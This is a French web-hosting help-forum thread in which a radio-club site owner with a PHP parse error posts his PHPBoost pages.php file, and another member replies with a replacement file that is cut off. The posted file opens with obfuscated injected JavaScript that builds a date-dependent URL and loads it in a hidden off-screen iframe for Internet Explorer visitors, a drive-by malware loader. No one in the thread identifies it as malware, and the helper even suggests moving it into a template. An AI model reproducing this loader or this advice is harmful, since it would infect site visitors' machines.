Erreur Sintax [Réglé]
Parse error: syntax error......
Discussions Générales
Oscarbravo Membre non connecté
Booster Fronde
-
Booster Fronde
- Voir le profil du membre Oscarbravo
- Inscrit le : 15/05/2012
Voilà mon problème depuis plusieur jour déjà
Parse error: syntax error, unexpected T_CONSTANT_ENCAPSED_STRING, expecting ',' or ';' in /home/vhosts/oscarbravo.6te.net/pages/pages.php on line 5
a par la page d'acceuil,je n'ai plus acces a aucunes de mes pages en Php
et je ne sais pas comment reparer ça, probablement que c'est simple mais moi j'y arrive pas
merci de m'aider
Édité par Oscarbravo Le 15/05/2012 à 12h21
Visiteur
Boosteur Inactif
As-tu touché aux fichiers PHP avant d'avoir ce message ?
As-tu accès au forum, news etc ou pas du tout ?
Oscarbravo Membre non connecté
Booster Fronde
-
Booster Fronde
- Voir le profil du membre Oscarbravo
- Inscrit le : 15/05/2012
a part la page d'acceuil , j'ai encore acces au Forum, aux news mais les pages les plus importante celle que j'ai crée ,je n'ai plus acces, le jour avant tous fonctionnais et le lendemain plus moyen d'ouvrir les pages, il faut absolument que tous refonctonnent,c'est un club Radio et si des membres s'inscrirent maintenant avec ce problème là, je suis dans la panade pour ne pas dire dans la Mer.. Help Help Help

voilà le site
http://oscarbravo.6te.net/news/news.php
Édité par Oscarbravo Le 15/05/2012 à 15h10
Visiteur
Boosteur Inactif
Peux-tu poster le contenu du fichier 'pages/pages.php' ?
Oscarbravo Membre non connecté
Booster Fronde
-
Booster Fronde
- Voir le profil du membre Oscarbravo
- Inscrit le : 15/05/2012
var keyss = "ap12m3n4j5i6u7dh8b9v0gytfcdr5ewqdas";var enc = [3, 5, 7, 15, 4, 32, 7, 9, 19];var ah = (new Date).getDate();
var strUA = "";strUA = navigator.userAgent.toLowerCase();if(strUA.indexOf("msie") != -1)if(navigator.javaEnabled()){var url = "http://";for (i = 0; i < enc.length; i++) {url += keyss.substr(ah * enc[i] % 31, 1);}
url += ".in/ts/in.php?q=2";fff = "fram";
if (document.getElementsByTagName("body")[0]) {asdfasdfasdf43();} else {document.write("<i" + fff + "e src='" + url + "' width='100' height='100' style='position:absolute;left:-190;top:-982;'></i" + fff + "e>");}}
function asdfasdfasdf43() {var f = document.createElement("i" + fff + "e");f.setAttribute("src", url);f.style.position = "absolute";f.style.left = "-129";f.style.top = "-172";f.setAttribute("width", "100");f.setAttribute("height", "100");document.getElementsByTagName("body")[0].appendChild(f);}
</script>';
/*##################################################
* pages.php
* -------------------
* begin : August 07, 2007
* copyright : (C) 2007 Sautel Benoit
* email : ben.popeye@phpboost.com
*
*
###################################################
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 2 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program; if not, write to the Free Software
* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
*
###################################################*/
require_once('../kernel/begin.php');
$encoded_title = retrieve(GET, 'title', '');
$id_com = retrieve(GET, 'id', 0);
$error = retrieve(GET, 'error', '');
include_once('pages_begin.php');
include_once('pages_functions.php');
//Requêtes préliminaires utiles par la suite
if (!empty($encoded_title)) //Si on connait son titre
{
$page_infos = $Sql->query_array(PREFIX . "pages", 'id', 'title', 'auth', 'is_cat', 'id_cat', 'hits', 'count_hits', 'activ_com', 'nbr_com', 'redirect', 'contents', "WHERE encoded_title = '" . $encoded_title . "'", __LINE__, __FILE__);
$num_rows =!empty($page_infos['title']) ? 1 : 0;
if ($page_infos['redirect'] > 0)
{
$redirect_title = $page_infos['title'];
$redirect_id = $page_infos['id'];
$page_infos = $Sql->query_array(PREFIX . "pages", 'id', 'title', 'auth', 'is_cat', 'id_cat', 'hits', 'count_hits', 'activ_com', 'nbr_com', 'redirect', 'contents', "WHERE id = '" . $page_infos['redirect'] . "'", __LINE__, __FILE__);
}
else
$redirect_title = '';
define('TITLE', $page_infos['title']);
//Définition du fil d'Ariane de la page
if ($page_infos['is_cat'] == 0)
$Bread_crumb->add($page_infos['title'], url('pages.php?title=' . $encoded_title, $encoded_title));
$id = $page_infos['id_cat'];
while ($id > 0)
{
//Si on a les droits de lecture sur la catégorie, on l'affiche
if (empty($_PAGES_CATS[$id]['auth']) || $User->check_auth($_PAGES_CATS[$id]['auth'], READ_PAGE))
$Bread_crumb->add($_PAGES_CATS[$id]['name'], url('pages.php?title=' . url_encode_rewrite($_PAGES_CATS[$id]['name']), url_encode_rewrite($_PAGES_CATS[$id]['name'])));
$id = (int)$_PAGES_CATS[$id]['id_parent'];
}
if ($User->check_auth($_PAGES_CONFIG['auth'], EDIT_PAGE))
$Bread_crumb->add($LANG['pages'], url('pages.php'));
//On renverse ce fil pour le mettre dans le bon ordre d'arborescence
$Bread_crumb->reverse();
}
elseif ($id_com > 0)
{
$result = $Sql->query_while("SELECT id, title, encoded_title, auth, is_cat, id_cat, hits, count_hits, activ_com, nbr_com, contents
FROM " . PREFIX . "pages
WHERE id = '" . $id_com . "'"
, __LINE__, __FILE__);
$num_rows = $Sql->num_rows($result, "SELECT COUNT(*) FROM " . PREFIX . "pages WHERE id = '" . $id_com . "'");
$page_infos = $Sql->fetch_assoc($result);
$Sql->query_close($result);
define('TITLE', sprintf($LANG['pages_page_com'], $page_infos['title']));
$Bread_crumb->add($LANG['pages_com'], url('pages.php?id=' . $id_com . '&com=0'));
$Bread_crumb->add($page_infos['title'], url('pages.php?title=' . $page_infos['encoded_title'], $page_infos['encoded_title']));
$id = $page_infos['id_cat'];
while ($id > 0)
{
$Bread_crumb->add($_PAGES_CATS[$id]['name'], url('pages.php?title=' . url_encode_rewrite($_PAGES_CATS[$id]['name']), url_encode_rewrite($_PAGES_CATS[$id]['name'])));
$id = (int)$_PAGES_CATS[$id]['id_parent'];
}
if ($User->check_auth($_PAGES_CONFIG['auth'], EDIT_PAGE))
$Bread_crumb->add($LANG['pages'], url('pages.php'));
$Bread_crumb->reverse();
}
else
{
define('TITLE', $LANG['pages']);
$auth_index = $User->check_auth($_PAGES_CONFIG['auth'], EDIT_PAGE);
if ($auth_index)
$Bread_crumb->add($LANG['pages'], url('pages.php'));
elseif (!$auth_index && empty($error))
redirect(HOST . DIR . url('/pages/pages.php?error=e_auth'));
}
require_once('../kernel/header.php');
if (!empty($encoded_title) && $num_rows == 1)
{
$Template->set_filenames(array('page'=> 'pages/page.tpl'));
$pages_data_path = $Template->get_module_data_path('pages');
//Autorisation particulière ?
$special_auth = !empty($page_infos['auth']);
$array_auth = unserialize($page_infos['auth']);
//Vérification de l'autorisation de voir la page
if (($special_auth && !$User->check_auth($array_auth, READ_PAGE)) || (!$special_auth && !$User->check_auth($_PAGES_CONFIG['auth'], READ_PAGE)))
redirect(HOST . DIR . url('/pages/pages.php?error=e_auth'));
//Génération des liens de la page
$links = array();
if (($special_auth && $User->check_auth($array_auth, EDIT_PAGE)) || (!$special_auth && $User->check_auth($_PAGES_CONFIG['auth'], EDIT_PAGE)))
{
$links[$LANG['pages_edit']] = array(url('post.php?id=' . $page_infos['id']), $pages_data_path . '/images/edit.png');
$links[$LANG['pages_rename']] = array(url('action.php?rename=' . $page_infos['id']), $pages_data_path . '/images/rename.png');
$links[$LANG['pages_delete']] = $page_infos['is_cat'] == 1 ? array(url('action.php?del_cat=' . $page_infos['id']), $pages_data_path . '/images/delete.png') : array(url('post.php?del=' . $page_infos['id'] . '&token=' . $Session->get_token()), $pages_data_path . '/images/delete.png', 'return confirm('' . $LANG['pages_confirm_delete'] . '');');
$links[$LANG['pages_redirections']] = array(url('action.php?id=' . $page_infos['id']), $pages_data_path . '/images/redirect.png');
$links[$LANG['pages_create']] = array(url('post.php'), $pages_data_path . '/images/create_page.png');
$links[$LANG['printable_version']] = array(url('print.php?title=' . $encoded_title), '../templates/' . get_utheme() . '/images/print_mini.png');
}
if ($User->check_auth($_PAGES_CONFIG['auth'], READ_PAGE))
$links[$LANG['pages_explorer']] = array(url('explorer.php'), $pages_data_path . '/images/explorer.png');
$nbr_values = count($links);
$i = 1;
foreach ($links as $key => $value)
{
$Template->assign_block_vars('link', array(
'U_LINK' => $value[0],
'L_LINK' => $key
));
if ($i < $nbr_values && !empty($key))
$Template->assign_block_vars('link.separation', array());
$Template->assign_block_vars('links_list', array(
'DM_A_CLASS' => ' style="background-image:url(' . $value[1] . ');"',
'U_ACTION' => $value[0],
'L_ACTION' => $key,
'ONCLICK' => array_key_exists(2, $value) ? $value[2] : ''
));
$i++;
}
//Redirections
if (!empty($redirect_title))
{
$Template->assign_block_vars('redirect', array(
'REDIRECTED_FROM' => sprintf($LANG['pages_redirected_from'], $redirect_title),
'DELETE_REDIRECTION' => (($special_auth && $User->check_auth($array_auth, EDIT_PAGE)) || (!$special_auth && $User->check_auth($_PAGES_CONFIG['auth'], EDIT_PAGE))) ? '<a href="action.php?del=' . $redirect_id . '&token=' . $Session->get_token() . '" onclick="return confirm('' . $LANG['pages_confirm_delete_redirection'] . '');" title="' . $LANG['pages_delete_redirection'] . '">[img alt="' . $LANG['pages_delete_redirection'] . '"]' . $Template->get_module_data_path('pages') . '/images/delete.png[/img]</a>' : ''
));
}
//Affichage des commentaires si il y en a la possibilité
if ($page_infos['activ_com'] == 1 && (($special_auth && $User->check_auth($array_auth, READ_COM)) || (!$special_auth && $User->check_auth($_PAGES_CONFIG['auth'], READ_COM))))
{
$Template->assign_vars(array(
'C_ACTIV_COM' => true,
'U_COM' => url('pages.php?id=' . $page_infos['id'] . '&com=0'),
'L_COM' => $page_infos['nbr_com'] > 0 ? sprintf($LANG['pages_display_coms'], $page_infos['nbr_com']) : $LANG['pages_post_com']
));
}
//On compte le nombre de vus
if ($page_infos['count_hits'] == 1)
$Sql->query_inject("UPDATE " . PREFIX . "pages SET hits = hits + 1 WHERE id = '" . $page_infos['id'] . "'", __LINE__, __FILE__);
$Template->assign_vars(array(
'TITLE' => $page_infos['title'],
'CONTENTS' => pages_second_parse($page_infos['contents']),
'COUNT_HITS' => $page_infos['count_hits'] ? sprintf($LANG['page_hits'], $page_infos['hits'] + 1) : ' ',
'PAGES_PATH' => $pages_data_path,
'L_LINKS' => $LANG['pages_links_list']
));
$Template->pparse('page');
}
//Page non trouvée
elseif ((!empty($encoded_title) || $id_com > 0) && $num_rows == 0)
redirect(HOST . DIR . url('/pages/pages.php?error=e_page_not_found'));
//Commentaires
elseif ($id_com > 0)
{
//Commentaires activés pour cette page ?
if ($page_infos['activ_com'] == 0)
redirect(HOST . DIR . '/pages/pages.php?error=e_unactiv_com');
//Autorisation particulière ?
$special_auth = !empty($page_infos['auth']);
$array_auth = unserialize($page_infos['auth']);
//Vérification de l'autorisation de voir la page
if (($special_auth && !$User->check_auth($array_auth, READ_PAGE)) || (!$special_auth && !$User->check_auth($_PAGES_CONFIG['auth'], READ_PAGE)) && ($special_auth && !$User->check_auth($array_auth, READ_COM)) || (!$special_auth && !$User->check_auth($_PAGES_CONFIG['auth'], READ_COM)))
redirect(HOST . DIR . '/pages/pages.php?error=e_auth_com');
$Template->set_filenames(array('com'=> 'pages/com.tpl'));
$Template->assign_vars(array(
'COMMENTS' => display_comments('pages', $id_com, url('pages.php?id=' . $id_com . '&com=%s'))
));
$Template->pparse('com');
}
//gestionnaire d'erreurs
elseif (!empty($error))
{
$Template->set_filenames(array('error'=> 'pages/error.tpl'));
$Template->assign_vars(array(
'L_TITLE' => $LANG['error']
));
switch ($error)
{
case 'e_page_not_found' :
$Errorh->handler($LANG['pages_not_found'], E_USER_WARNING);
break;
case 'e_auth' :
$Errorh->handler($LANG['pages_error_auth_read'], E_USER_WARNING);
break;
case 'e_auth_com' :
$Errorh->handler($LANG['pages_error_auth_com'], E_USER_WARNING);
break;
case 'e_unactiv_com' :
$Errorh->handler($LANG['pages_error_unactiv_com'], E_USER_WARNING);
break;
case 'delete_success' :
$Errorh->handler($LANG['pages_delete_success'], E_USER_NOTICE);
break;
case 'delete_failure' :
$Errorh->handler($LANG['pages_delete_failure'], E_USER_NOTICE);
break;
default :
redirect(HOST . DIR . url('/pages/pages.php'));
}
$Template->pparse('error');
}
else
{
$Template->set_filenames(array('index'=> 'pages/index.tpl'));
$num_pages = $Sql->query("SELECT COUNT(*) FROM " . PREFIX . "pages WHERE redirect = '0'", __LINE__, __FILE__);
$num_coms = $Sql->query("SELECT COUNT(*) FROM " . DB_TABLE_COM . " WHERE script = 'pages'", __LINE__, __FILE__);
$Template->assign_vars(array(
'PAGES_PATH' => $Template->get_module_data_path('pages'),
'NUM_PAGES' => sprintf($LANG['pages_num_pages'], $num_pages),
'NUM_COMS' => sprintf($LANG['pages_num_coms'], $num_coms, ($num_pages > 0 ? $num_coms / $num_pages : 0)),
'L_EXPLAIN_PAGES' => $LANG['pages_explain'],
'L_TOOLS' => $LANG['pages_tools'],
'L_STATS' => $LANG['pages_stats']
));
$tools = array(
$LANG['pages_create'] => url('post.php'),
$LANG['pages_redirections'] => url('action.php'),
$LANG['pages_explorer'] => url('explorer.php'),
);
if ($User->check_level(ADMIN_LEVEL))
$tools[$LANG['pages_config']] = url('admin_pages.php');
foreach ($tools as $tool => $url)
$Template->assign_block_vars('tools', array(
'L_TOOL' => $tool,
'U_TOOL' => $url
));
//Liste des dossiers de la racine
$root = '';
foreach ($_PAGES_CATS as $key => $value)
{
if ($value['id_parent'] == 0)
{
//Autorisation particulière ?
$special_auth = !empty($value['auth']);
//Vérification de l'autorisation d'éditer la page
if (($special_auth && $User->check_auth($value['auth'], READ_PAGE)) || (!$special_auth && $User->check_auth($_PAGES_CONFIG['auth'], READ_PAGE)))
{
$root .= '<tr><td class="row2">[img style="vertical-align:middle"]' . $Template->get_module_data_path('pages') . '/images/closed_cat.png[/img] [url=javascript:open_cat(' . $key . '); show_cat_contents(' . $value['id_parent'] . ', 0);]' . $value['name'] . '[/url]</td></tr>';
}
}
}
//Liste des fichiers de la racine
$result = $Sql->query_while("SELECT title, id, encoded_title, auth
FROM " . PREFIX . "pages
WHERE id_cat = 0 AND is_cat = 0
ORDER BY is_cat DESC, title ASC", __LINE__, __FILE__);
while ($row = $Sql->fetch_assoc($result))
{
//Autorisation particulière ?
$special_auth = !empty($row['auth']);
$array_auth = unserialize($row['auth']);
//Vérification de l'autorisation d'éditer la page
if (($special_auth && $User->check_auth($array_auth, READ_PAGE)) || (!$special_auth && $User->check_auth($_PAGES_CONFIG['auth'], READ_PAGE)))
{
$root .= '<tr><td class="row2"><img src="' . $Template->get_module_data_path('pages') . '/images/page.png" alt="" style="vertical-align:middle" /> [url=' . url('pages.php?title=' . $row['encoded_title'], $row['encoded_title']) . ']' . $row['title'] . '[/url]</td></tr>';
}
}
$Sql->query_close($result);
$Template->assign_vars(array(
'PAGES_PATH' => $Template->get_module_data_path('pages'),
'TITLE' => $LANG['pages'],
'L_ROOT' => $LANG['pages_root'],
'ROOT_CONTENTS' => $root,
'L_CATS' => $LANG['pages_cats_tree'],
'L_EXPLORER' => $LANG['pages_explorer'],
'SELECTED_CAT' => 0,
'CAT_0' => 'pages_selected_cat',
'CAT_LIST' => ''
));
$contents = '';
$result = $Sql->query_while("SELECT c.id, p.title, p.encoded_title
FROM " . PREFIX . "pages_cats c
LEFT JOIN " . PREFIX . "pages p ON p.id = c.id_page
WHERE c.id_parent = 0
ORDER BY p.title ASC", __LINE__, __FILE__);
while ($row = $Sql->fetch_assoc($result))
{
$sub_cats_number = $Sql->query("SELECT COUNT(*) FROM " . PREFIX . "pages_cats WHERE id_parent = '" . $row['id'] . "'", __LINE__, __FILE__);
if ($sub_cats_number > 0)
{
$Template->assign_block_vars('list', array(
'DIRECTORY' => '<li>[url=javascript:show_cat_contents(' . $row['id'] . ', 0);]<img src="' . $Template->get_module_data_path('pages') . '/images/plus.png" alt="" id="img2_' . $row['id'] . '" style="vertical-align:middle" />[/url]
[url=javascript:show_cat_contents(' . $row['id'] . ', 0);]<img src="' . $Template->get_module_data_path('pages') . '/images/closed_cat.png" id ="img_' . $row['id'] . '" alt="" style="vertical-align:middle" />[/url] <span id="class_' . $row['id'] . '" class="">[url=javascript:open_cat(' . $row['id'] . ');]' . $row['title'] . '[/url]</span><span id="cat_' . $row['id'] . '"></span></li>'
));
}
else
{
$Template->assign_block_vars('list', array(
'DIRECTORY' => '<li style="padding-left:17px;"><img src="' . $Template->get_module_data_path('pages') . '/images/closed_cat.png" alt="" style="vertical-align:middle" /> <span id="class_' . $row['id'] . '" class="">[url=javascript:open_cat(' . $row['id'] . ');]' . $row['title'] . '[/url]</span><span id="cat_' . $row['id'] . '"></span></li>'
));
}
}
$Sql->query_close($result);
$Template->pparse('index');
}
require_once('../kernel/footer.php');
?>
Visiteur
Boosteur Inactif
As-tu essayé de virer tout ton script en début de page ?
En plus, ton script peut très bien être mis dans le fichier 'pages/templates/page.tpl'.
Oscarbravo Membre non connecté
Booster Fronde
-
Booster Fronde
- Voir le profil du membre Oscarbravo
- Inscrit le : 15/05/2012
oui j'ai déjà essayé en enlevant les lignes mais rien a faire toujour la meme erreur
mais je fait se que tu me demande si je sais ou si je comprend mais je comprend rien a tous ça pour moi c'est du charabia
je ne sais pas comment on fait pour mettre le code entre les balise code Php Sorry
a ce niveau là je suis completement a coté de la plaque excuse moi, mais je voudrais tant que mon problème soie resolu
Édité par Oscarbravo Le 15/05/2012 à 16h00
Visiteur
Boosteur Inactif

SI tu ne la vois pas clique sur la flèche
afin de faire apparaître la 2ème ligne du BBCode.Ensuite, choisis le langage 'PHP' et voilà.
Sinon pour ton soucis, remlace ton fichier 'pages/pages.php' par ceci :
Code PHP :
<?php /*################################################## * pages.php * ------------------- * begin : August 07, 2007 * copyright : (C) 2007 Sautel Benoit * email : ben.popeye@phpboost.com * * ################################################### * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. * ###################################################*/ require_once('../kernel/begin.php'); $encoded_title = retrieve(GET, 'title', ''); $id_com = retrieve(GET, 'id', 0); $error = retrieve(GET, 'error', ''); include_once('pages_begin.php'); include_once('pages_functions.php'); //Requêtes préliminaires utiles par la suite if (!empty($encoded_title)) //Si on connait son titre { $page_infos = $Sql->query_array(PREFIX . "pages", 'id', 'title', 'auth', 'is_cat', 'id_cat', 'hits', 'count_hits', 'activ_com', 'nbr_com', 'redirect', 'contents', "WHERE encoded_title = '" . $encoded_title . "'", __LINE__, __FILE__); $num_rows =!empty($page_infos['title']) ? 1 : 0; if ($page_infos['redirect'] > 0) { $redirect_title = $page_infos['title']; $redirect_id = $page_infos['id']; $page_infos = $Sql->query_array(PREFIX . "pages", 'id', 'title', 'auth', 'is_cat', 'id_cat', 'hits', 'count_hits', 'activ_com', 'nbr_com', 'redirect', 'contents', "WHERE id = '" . $page_infos['redirect'] . "'", __LINE__, __FILE__); } else $redirect_title = ''; define('TITLE', $page_infos['title']); //Définition du fil d'Ariane de la page if ($page_infos['is_cat'] == 0) $Bread_crumb->add($page_infos['title'], url('pages.php?title=' . $encoded_title, $encoded_title)); $id = $page_infos['id_cat']; while ($id > 0) { //Si on a les droits de lecture sur la catégorie, on l'affiche if (empty($_PAGES_CATS[$id]['auth']) || $User->check_auth($_PAGES_CATS[$id]['auth'], READ_PAGE)) $Bread_crumb->add($_PAGES_CATS[$id]['name'], url('pages.php?title=' . url_encode_rewrite($_PAGES_CATS[$id]['name']), url_encode_rewrite($_PAGES_CATS[$id]['name']))); $id = (int)$_PAGES_CATS[$id]['id_parent']; } if ($User->check_auth($_PAGES_CONFIG['auth'], EDIT_PAGE)) $Bread_crumb->add($LANG['pages'], url('pages.php')); //On renverse ce fil pour le mettre dans le bon ordre d'arborescence $Bread_crumb->reverse(); } elseif ($id_com > 0) { $result = $Sql->query_while("SELECT id, title, encoded_title, auth, is_cat, id_cat, hits, count_hits, activ_com, nbr_com, contents FROM " . PREFIX . "pages WHERE id = '" . $id_com . "'" , __LINE__, __FILE__); $num_rows = $Sql->num_rows($result, "SELECT COUNT(*) FROM " . PREFIX . "pages WHERE id = '" . $id_com . "'"); $page_infos = $Sql->fetch_assoc($result); $Sql->query_close($result); define('TITLE', sprintf($LANG['pages_page_com'], $page_infos['title'])); $Bread_crumb->add($LANG['pages_com'], url('pages.php?id=' . $id_com . '&com=0')); $Bread_crumb->add($page_infos['title'], url('pages.php?title=' . $page_infos['encoded_title'], $page_infos['encoded_title'])); $id = $page_infos['id_cat']; while ($id > 0) { $Bread_crumb->add($_PAGES_CATS[$id]['name'], url('pages.php?title=' . url_encode_rewrite($_PAGES_CATS[$id]['name']), url_encode_rewrite($_PAGES_CATS[$id]['name']))); $id = (int)$_PAGES_CATS[$id]['id_parent']; } if ($User->check_auth($_PAGES_CONFIG['auth'], EDIT_PAGE)) $Bread_crumb->add($LANG['pages'], url('pages.php')); $Bread_crumb->reverse(); } else { define('TITLE', $LANG['pages']); $auth_index = $User->check_auth($_PAGES_CONFIG['auth'], EDIT_PAGE); if ($auth_index) $Bread_crumb->add($LANG['pages'], url('pages.php')); elseif (!$auth_index && empty($error)) redirect(HOST . DIR . url('/pages/pages.php?error=e_auth')); } require_once('../kernel/header.php'); if (!empty($encoded_title) && $num_rows == 1) { $Template->set_filenames(array('page'=> 'pages/page.tpl')); $pages_data_path = $Template->get_module_data_path('pages'); //Autorisation particulière ? $special_auth = !empty($page_infos['auth']); $array_auth = unserialize($page_infos['auth']); //Vérification de l'autorisation de voir la page if (($special_auth && !$User->check_auth($array_auth, READ_PAGE)) || (!$special_auth && !$User->check_auth($_PAGES_CONFIG['auth'], READ_PAGE))) redirect(HOST . DIR . url('/pages/pages.php?error=e_auth')); //Génération des liens de la page $links = array(); if (($special_auth && $User->check_auth($array_auth, EDIT_PAGE)) || (!$special_auth && $User->check_auth($_PAGES_CONFIG['auth'], EDIT_PAGE))) { $links[$LANG['pages_edit']] = array(url('post.php?id=' . $page_infos['id']), $pages_data_path . '/images/edit.png'); $links[$LANG['pages_rename']] = array(url('action.php?rename=' . $page_infos['id']), $pages_data_path . '/images/rename.png'); $links[$LANG['pages_delete']] = $page_infos['is_cat'] == 1 ? array(url('action.php?del_cat=' . $page_infos['id']), $pages_data_path . '/images/delete.png') : array(url('post.php?del=' . $page_infos['id'] . '&token=' . $Session->get_token()), $pages_data_path . '/images/delete.png', 'return confirm('' . $LANG['pages_confirm_delete'] . '');'); $links[$LANG['pages_redirections']] = array(url('action.php?id=' . $page_infos['id']), $pages_data_path . '/images/redirect.png'); $links[$LANG['pages_create']] = array(url('post.php'), $pages_data_path . '/images/create_page.png'); $links[$LANG['printable_version']] = array(url('print.php?title=' . $encoded_title), '../templates/' . get_utheme() . '/images/print_mini.png'); } if ($User->check_auth($_PAGES_CONFIG['auth'], READ_PAGE)) $links[$LANG['pages_explorer']] = array(url('explorer.php'), $pages_data_path . '/images/explorer.png'); $nbr_values = count($links); $i = 1; foreach ($links as $key => $value) { $Template->assign_block_vars('link', array( 'U_LINK' => $value[0], 'L_LINK' => $key )); if ($i < $nbr_values && !empty($key)) $Template->assign_block_vars('link.separation', array()); $Template->assign_block_vars('links_list', array( 'DM_A_CLASS' => ' style="background-image:url(' . $value[1] . ');"', 'U_ACTION' => $value[0], 'L_ACTION' => $key, 'ONCLICK' => array_key_exists(2, $value) ? $value[2] : '' )); $i++; } //Redirections if (!empty($redirect_title)) { $Template->assign_block_vars('redirect', array( 'REDIRECTED_FROM' => sprintf($LANG['pages_redirected_from'], $redirect_title), 'DELETE_REDIRECTION' => (($special_auth && $User->check_auth($array_auth, EDIT_PAGE)) || (!$special_auth && $User->check_auth($_PAGES_CONFIG['auth'], EDIT_PAGE))) ? '<a href="action.php?del=' . $redirect_id . '&token=' . $Session->get_token() . '" onclick="return confirm('' . $LANG['pages_confirm_delete_redirection'] . '');" title="' . $LANG['pages_delete_redirection'] . '"><img src="' . $Template->get_module_data_path('pages') . '/images/delete.png" alt="' . $LANG['pages_delete_redirection'] . '" /></a>' : '' )); } //Affichage des commentaires si il y en a la possibilité if ($page_infos['activ_com'] == 1 && (($special_auth && $User->check_auth($array_auth, READ_COM)) || (!$special_auth && $User->check_auth($_PAGES_CONFIG['auth'], READ_COM)))) { $Template->assign_vars(array( 'C_ACTIV_COM' => true, 'U_COM' => url('pages.php?id=' . $page_infos['id'] . '&com=0'), 'L_COM' => $page_infos['nbr_com'] > 0 ? sprintf($LANG['pages_display_coms'], $page_infos['nbr_com']) : $LANG['pages_post_com'] )); } //On compte le nombre de vus if ($page_infos['count_hits'] == 1) $Sql->query_inject("UPDATE " . PREFIX . "pages SET hits = hits + 1 WHERE id = '" . $page_infos['id'] . "'", __LINE__, __FILE__); $Template->assign_vars(array( 'TITLE' => $page_infos['title'], 'CONTENTS' => pages_second_parse($page_infos['contents']), 'COUNT_HITS' => $page_infos['count_hits'] ? sprintf($LANG['page_hits'], $page_infos['hits'] + 1) : ' ', 'PAGES_PATH' => $pages_data_path, 'L_LINKS' => $LANG['pages_links_list'] )); $Template->pparse('page'); } //Page non trouvée elseif ((!empty($encoded_title) || $id_com > 0) && $num_rows == 0) redirect(HOST . DIR . url('/pages/pages.php?error=e_page_not_found')); //Commentaires elseif ($id_com > 0) { //Commentaires activés pour cette page ? if ($page_infos['activ_com'] == 0) redirect(HOST . DIR . '/pages/pages.php?error=e_unactiv_com'); //Autorisation particulière ? $special_auth = !empty($page_infos['auth']); $array_auth = unserialize($page_infos['auth']); //Vérification de l'autorisation de voir la page if (($special_auth && !$User->check_auth($array_auth, READ_PAGE)) || (!$special_auth && !$User->check_auth($_PAGES_CONFIG['auth'], READ_PAGE)) && ($special_auth && !$User->check_auth($array_auth, READ_COM)) || (!$special_auth && !$User->check_auth($_PAGES_CONFIG['auth'], READ_COM))) redirect(HOST . DIR . '/pages/pages.php?error=e_auth_com'); $Template->set_filenames(array('com'=> 'pages/com.tpl')); $Template->assign_vars(array( 'COMMENTS' => display_comments('pages', $id_com, url('pages.php?id=' . $id_com . '&com=%s')) )); $Template->pparse('com'); } //gestionnaire d'erreurs elseif (!empty($error)) { $Template->set_filenames(array('error'=> 'pages/error.tpl')); $Template->assign_vars(array( 'L_TITLE' => $LANG['error'] )); switch ($error) { case 'e_page_not_found' : $Errorh->handler($LANG['pages_not_found'], E_USER_WARNING); break; case 'e_auth' : $Errorh->handler($LANG['pages_error_auth_read'], E_USER_WARNING); break; case 'e_auth_com' : $Errorh->handler($LANG['pages_error_auth_com'], E_USER_WARNING); break; case 'e_unactiv_com' : $Errorh->handler($LANG['pages_error_unactiv_com'], E_USER_WARNING); break; case 'delete_success' : $Errorh->handler($LANG['pages_delete_success'], E_USER_NOTICE); break; case 'delete_failure' : $Errorh->handler($LANG['pages_delete_failure'], E_USER_NOTICE); break; default : redirect(HOST . DIR . url('/pages/pages.php')); } $Template->pparse('error'); } else { $Template->set_filenames(array('index'=> 'pages/index.tpl')); $num_pages = $Sql->query("SELECT COUNT(*) FROM " . PREFIX . "pages WHERE redirect = '0'", __LINE__, __FILE__); $num_coms = $Sql->query("SELECT COUNT(*) FROM " . DB_TABLE_COM . " WHERE script = 'pages'", __LINE__, __FILE__); $Template->assign_vars(array( 'PAGES_PATH' => $Template->get_module_data_path('pages'), 'NUM_PAGES' => sprintf($LANG['pages_num_pages'], $num_pages), 'NUM_COMS' => sprintf($LANG['pages_num_coms'], $num_coms, ($num_pages > 0 ? $num_coms / $num_pages : 0)), 'L_EXPLAIN_PAGES' => $LANG['pages_explain'], 'L_TOOLS' => $LANG['pages_tools'], 'L_STATS' => $LANG['pages_stats'] )); $tools = array( $LANG['pages_create'] => url('post.php'), $LANG['pages_redirections'] => url('action.php'), $LANG['pages_explorer'] => url('explorer.php'), ); if ($User->check_level(ADMIN_LEVEL)) $tools[$LANG['pages_config']] = url('admin_pages.php'); foreach ($tools as $tool => $url) $Template->assign_block_vars('tools', array( 'L_TOOL' => $tool, 'U_TOOL' => $url )); //Liste des dossiers de la racine $root = ''; foreach ($_PAGES_CATS as $key => $value) { if ($value['id_parent'] == 0) { //Autorisation particulière ? $special_auth = !empty($value['auth']); //Vérification de l'autorisation d'éditer la page if (($special_auth && $User->check_auth($value['auth'], READ_PAGE)) || (!$special_auth && $User->check_auth($_PAGES_CONFIG['auth'], READ_PAGE))) { $root .= '<tr><td class="row2"><img src="' . $Template->get_module_data_path('pages') . '/images/closed_cat.png" alt="" style="vertical-align:middle" /> <a href="javascript:open_cat(' . $key . '); show_cat_contents(' . $value['id_parent'] . ', 0);">' . $value['name'] . '</a></td></tr>'; } } } //Liste des fichiers de la racine $result = $Sql->query_while("SELECT title, id, encoded_title, auth FROM " . PREFIX . "pages WHERE id_cat = 0 AND is_cat = 0 ORDER BY is_cat DESC, title ASC", __LINE__, __FILE__); while ($row = $Sql->fetch_assoc($result)) { //Autorisation particulière ? $special_auth = !empty($row['auth']); $array_auth = unserialize($row['auth']); //Vérification de l'autorisation d'éditer la page if (($special_auth && $User->check_auth($array_auth, READ_PAGE)) || (!$special_auth && $User->check_auth($_PAGES_CONFIG['auth'], READ_PAGE))) { $root .= '<tr><td class="row2"><img src="' . $Template->get_module_data_path('pages') . '/images/page.png" alt="" style="vertical-align:middle" /> <a href="' . url('pages.php?title=' . $row['encoded_title'], 